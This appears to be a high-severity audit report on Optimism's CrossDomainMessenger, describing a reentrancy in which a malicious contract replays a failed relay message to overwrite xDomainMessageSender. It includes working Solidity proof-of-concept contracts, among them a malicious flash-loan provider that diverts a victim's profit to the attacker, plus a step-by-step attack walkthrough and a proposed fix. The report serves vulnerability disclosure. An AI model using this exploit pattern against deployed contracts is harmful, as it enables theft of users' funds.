HE1M

high

# Cross contract reentrancy attack through changing the xDomainMsgSender

## Summary

Based on the comment about `xDomainMsgSender`:
>>Address of the sender of the currently executing message on the other chain. If the
     *         value of this variable is the default value (0x00000000...dead) then no message is
     *         currently being executed. Use the xDomainMessageSender getter which will throw an
     *         error if this is the case.

During relaying the message in `L1CrossDomainMessenger`, the `xDomainMsgSender` is set to the sender address on L2. After, the call to the target, the `xDomainMsgSender` is set to `Constants.DEFAULT_L2_SENDER`.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L360-L362

It is useful, because the `_target` may need to know who was the initiator of the message by calling the function `xDomainMessageSender` and do some transaction based on that address. 
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L392-L399

But, the value of `xDomainMessageSender` is not safe and does not indicate the correct sender address always. Especially, if the `_target` uses `xDomainMessageSender` to do some critical transactions, it can result in loss of fund. Because, if the `_target` calls another contract, and this contract again calls `relayMessage`, the value of `xDomainMessageSender` will be overwritten with a new sender address provided by this contract. So, if in the same transaction, `_target` request for the sender address, the newly overwritten address or `DEFAULT_L2_SENDER` will be returned. In the first case, it can result to loss of fund or unwanted transaction, and in the second case, it will revert the transaction.

**In short, through reentrancy attack, it is possible to change `xDomainMessageSender` address. So, if any contract relies on this variable as L2 message sender address, it can be maliciously impacted.**

## Vulnerability Detail

Let me give a scenario that can result in loss of fund (although there can be many scenarios resulting in loss of funds due to this issue).

Suppose there are two contracts.
 - `AliceContract.sol`: This is a contract on L1 that Alice (an honest user) would like to trigger its functions by sending message from L2 to L1.
 - `FlashloanProvider.sol`: This is a contract on L1 that Alice intends to take flash loan from. This is a malicious contract that is in control of Bob (a malicious user).

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IFlashloanProvider {
    function flashLoan(
        address receiverAddress,
        address asset,
        uint256 amount
    ) external;
}

interface IL1CrossDomainMessenger {
    function xDomainMessageSender() external view returns (address);
}

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);
}

contract AliceContract {
    IFlashloanProvider iFlashloanProvider;
    address usdcAddress;
    IL1CrossDomainMessenger iL1CrossDomainMessenger;

    constructor(
        address _l1CrossDomainMessengerAddress,
        address _flashpoviderAddress,
        address _USDCAddress
    ) {
        iL1CrossDomainMessenger = IL1CrossDomainMessenger(
            _l1CrossDomainMessengerAddress
        );
        iFlashloanProvider = IFlashloanProvider(_flashpoviderAddress);
        usdcAddress = _USDCAddress;
    }

    function takeFlashloan() public {
        iFlashloanProvider.flashLoan(
            address(this),
            usdcAddress,
            1_000_000_000_000
        );
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium
    ) external returns (bool) {
        // now IERC20(usdcAddress).balance(address(this)) = 1_000_000_000_000
        // Here this contract applies some defi transaction (like arbitrage, ...) and gains some profit
        //.....

        // Then this contract pays the loan + premium to the flashloan provider
        IERC20(usdcAddress).transfer(
            address(iFlashloanProvider),
            amount + premium
        );

        // Then transfers the gained profit to the initiator of the main transaction that is supposed to be Alice
        // but the flash provider has set it to Bob
        uint256 profit = IERC20(usdcAddress).balanceOf(address(this));

        // it is supposed to be Alice, but due to cross contract reentrancy attack, it is set to Bob
        address profitReceiver = iL1CrossDomainMessenger.xDomainMessageSender();

        IERC20(usdcAddress).transfer(profitReceiver, profit);
    }
}

```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IL1CrossDomainMessenger {
    function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external;
}

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);
}

contract FlashloanProvider {
    uint256 nonce;
    uint256 premium;
    address immutable BobAddress;
    IL1CrossDomainMessenger iL1CrossDomainMessenger;

    constructor(
        address _l1CrossDomainMessengerAddress,
        address _bobAddress,
        uint256 _premium
    ) {
        iL1CrossDomainMessenger = IL1CrossDomainMessenger(
            _l1CrossDomainMessengerAddress
        );
        BobAddress = _bobAddress;
        premium = _premium;
    }

    function setNonce(uint256 _nonce) public {
        nonce = _nonce;
    }

    function flashLoan(
        address receiverAddress,
        address asset,
        uint256 amount
    ) public {
        // tracking the balance
        uint256 balanceBefore = IERC20(asset).balanceOf(address(this));

        // transferring the loan to the receiver
        IERC20(asset).transfer(receiverAddress, amount);

        // providing the message that will be called by L1CrossDomainMessenger
        bytes memory message = abi.encodeWithSignature(
            "executeOperation(address,uint256,uint256)",
            asset,
            amount,
            premium
        );

        // replay the message again.
        // note that this message once was sent by Bob from L2, and it was failed due to lack of fund.
        // but, this time it will not be failed, because the fund is already transferred to the receiver
        iL1CrossDomainMessenger.relayMessage(
            nonce,
            BobAddress,
            receiverAddress,
            0,
            0,
            message
        );

        // tracking the balance
        uint256 balanceAfter = IERC20(asset).balanceOf(address(this));

        require(
            balanceAfter - balanceBefore >= premium,
            "the flash loan is not repaid"
        );
    }
}

```

 1. Let's say Alice would like to take a flash loan on L1 and do some defi stuff to gain profit on L1, and she would like to trigger it from L2.
 2. So, Alice would like to send a message from L2 to L1 by calling the function `L1CrossDomainMessenger.sendMessage` with the following parameters. She intends to call the function `AliceContract.takeFlashloan()` through relaying the message from L2 to L1.
    - _target = address of `AliceContract` on L1
    - _message = `abi.encodeWithSignature("takeFlashloan()")`
    - _minGasLimit = just big enough so that the transaction can be executed successfully
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L247

 3. Bob notices Alice's intension, and sends a message from L2 to L1 with the following parameters. In summary, it triggers the function `AliceContract.executeOperation` on L1.
    - _target = address of `AliceContract` on L1
    - _message = `abi.encodeWithSignature("executeOperation(address,uint256,uint256)", address(USDC), 1_000_000_000, premium)`
    - _minGasLimit = just big enough so that the transaction can be executed successfully

 4. During relaying the message, this transaction will fail, because `AliceContract` does not have that much USDC to execute the transaction (there are many reasons to fail. The important thing is that it can be replayed later). So, this transaction will be set as `failedMessages`. So, it can be replayed again later.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L368

 5. Now, the message sent by Alice from L2 will be relayed. This message will trigger the function `AliceContract.takeFlashloan`. 
```solidity
function takeFlashloan() public {
        iFlashloanProvider.flashLoan(
            address(this),
            usdcAddress,
            1_000_000_000_000
        );
    }
```
 6.  **Important**: Please note that during relaying this message, the `xDomainMsgSender` is set to sender's address on L2 that is Alice's address. So, now the storage variable `xDomainMsgSender` is Alices's Address.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L360

 7. Then, it calls the function `FlashloanProvider.flashLoan`.
 ```solidity
function flashLoan(
        address receiverAddress,
        address asset,
        uint256 amount
    ) public {
        // tracking the balance
        uint256 balanceBefore = IERC20(asset).balanceOf(address(this));

        // transferring the loan to the receiver
        IERC20(asset).transfer(receiverAddress, amount);

        // providing the message that will be called by L1CrossDomainMessenger
        bytes memory message = abi.encodeWithSignature(
            "executeOperation(address,uint256,uint256)",
            asset,
            amount,
            premium
        );

        // replay the message again.
        // note that this message once was sent by Bob from L2, and it was failed due to lack of fund.
        // but, this time it will not be failed, because the fund is already transferred to the receiver
        iL1CrossDomainMessenger.relayMessage(
            nonce,
            BobAddress,
            receiverAddress,
            0,
            0,
            message
        );

        // tracking the balance
        uint256 balanceAfter = IERC20(asset).balanceOf(address(this));

        require(
            balanceAfter - balanceBefore >= premium,
            "the flash loan is not repaid"
        );
    }
```

 8. In the function `FlashloanProvider.flashLoan`, it transfers the loan amount to `AliceContract`.
 9. Then it replays the failed message sent in step 3. This time, the failed message will be successful, because the required fund is already transferred to `AliceContract`.
```solidity
// providing the message that will be called by L1CrossDomainMessenger
        bytes memory message = abi.encodeWithSignature(
            "executeOperation(address,uint256,uint256)",
            asset,
            amount,
            premium
        );

        // replay the message again.
        // note that this message once was sent by Bob from L2, and it was failed due to lack of fund.
        // but, this time it will not be failed, because the fund is already transferred to the receiver
        iL1CrossDomainMessenger.relayMessage(
            nonce,
            BobAddress,
            receiverAddress,
            0,
            0,
            message
        );
```
10. **Important**: Please note that during replaying this failed message, the `xDomainMsgSender` will be overwritten by address of the sender on L2 that is Bob's address. So, now the storage variable `xDomainMsgSender` is Bob's Address.
 11. Now, the function `AliceContract.executeOperation` is being executed. In this function (that is a callback function of the flashloan), it does some defi stuff to gain profit and then repays the loan + premium to the `FlashloanProvider` contract.
```solidity
function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium
    ) external returns (bool) {
        // now IERC20(usdcAddress).balance(address(this)) = 1_000_000_000_000
        // Here this contract applies some defi transaction (like arbitrage, ...) and gains some profit
        //.....

        // Then this contract pays the loan + premium to the flashloan provider
        IERC20(usdcAddress).transfer(
            address(iFlashloanProvider),
            amount + premium
        );

        // Then transfers the gained profit to the initiator of the main transaction that is supposed to be Alice
        // but the flash provider has set it to Bob
        uint256 profit = IERC20(usdcAddress).balanceOf(address(this));

        // it is supposed to be Alice, but due to cross contract reentrancy attack, it is set to Bob
        address profitReceiver = iL1CrossDomainMessenger.xDomainMessageSender();

        IERC20(usdcAddress).transfer(profitReceiver, profit);
    }
```
 12. Then, the gain profit will be transferred to the initiator of the main transaction (who is supposed to be Alice on L2). So, it gets it's address by calling `L1CrossDomainMessenger.xDomainMessageSender`. It is supposed to return the address of Alice, but it will return the address of Bob. It means that Bob will receive the profit because of overwriting the `xDomainMessageSender`.


In Summary, in the explained scenario everything is similar to a normal flash loan procedure. The only difference is that the callback is not called from the flash loan contract, it is called through `L1CrossDomainMessenger` that overwrites the sender address.

This attack can be applied in different ways (for example the victim contract requests NFT from another contract, and this contract transfers the NFT to the victim contract through `L1CrossDomainMessenger` and triggers the callback of the victim contract), it only requires:
 1. The victim contract (that is called during relaying the message) calls second contract.
 2. The second contract changes `xDomainMsgSender`.


In summary:
 1. A malicious user sends a message from L2 to trigger the callback function of the victim contract on L1. (This message has to fail for any reason, otherwise the attack will be unsuccessful).
 2. Then, an honest user sends a message from L2 to the victim contract. So, the `L1CrossDomainMessenger` relays message to the victim contract, and sets the `xDomainMsgSender` equal to the honest user.
 3. The victim contract calls a malicious contract.
 4. The malicious contract calls `L1CrossDomainMessenger` to replay the failed message in step 1. 
 5. The failed message will be successful and `L1CrossDomainMessenger` calls the callback function of the victim contract, and sets the `xDomainMsgSender` equal to the malicious user.
 6. If the victim contract gets now the sender address from `L1CrossDomainMessenger`, it will return the address of **malicious user** not the honest user. But, if it gets the sender address after execution of the call in step 5, `xDomainMsgSender` is equal to `Constants.DEFAULT_L2_SENDER`, so calling the function `xDomainMessageSender()` will revert. For the first case, it is critical because a malicious address is set as the sender on L2. For the second case, the honest user's transaction will be unsuccessful.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L394

**Please note that, this attack surface was not possible in the first round of contest, because there was a reentrancy guard on `L1CrossDomainMessenger.relayMessage`. But, now that the classical reentrancy guard is removed, the novel reentrancy guard is vulnerable to this kind of attack.**

## Impact
The impact can be critical based on the context, because many target contracts will rely on `L1CrossDomainMessenger.xDomainMessageSender` to get the correct sender address of L2. But, due to the vulnerability explained, it can be overwritten maliciously.
https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L392-L399

## Code Snippet

## Tool used

Manual Review

## Recommendation
Maybe one solution is to map the `xDomainMsgSender` based on the hash of the transaction. In other words, tracking the L2 sender address per message:
```solidity
mapping(bytes32 => address) internal xDomainMsgSender;

function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external payable {
        //....
        xDomainMsgSender[versionedHash] = _sender;
        bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);
        xDomainMsgSender[versionedHash] = Constants.DEFAULT_L2_SENDER;
        //....
    }

function xDomainMessageSender(bytes32 _versionedHash) external view returns (address) {
        require(
            xDomainMsgSender[versionedHash] != Constants.DEFAULT_L2_SENDER,
            "CrossDomainMessenger: xDomainMessageSender is not set"
        );

        return xDomainMsgSender[versionedHash];
    }
```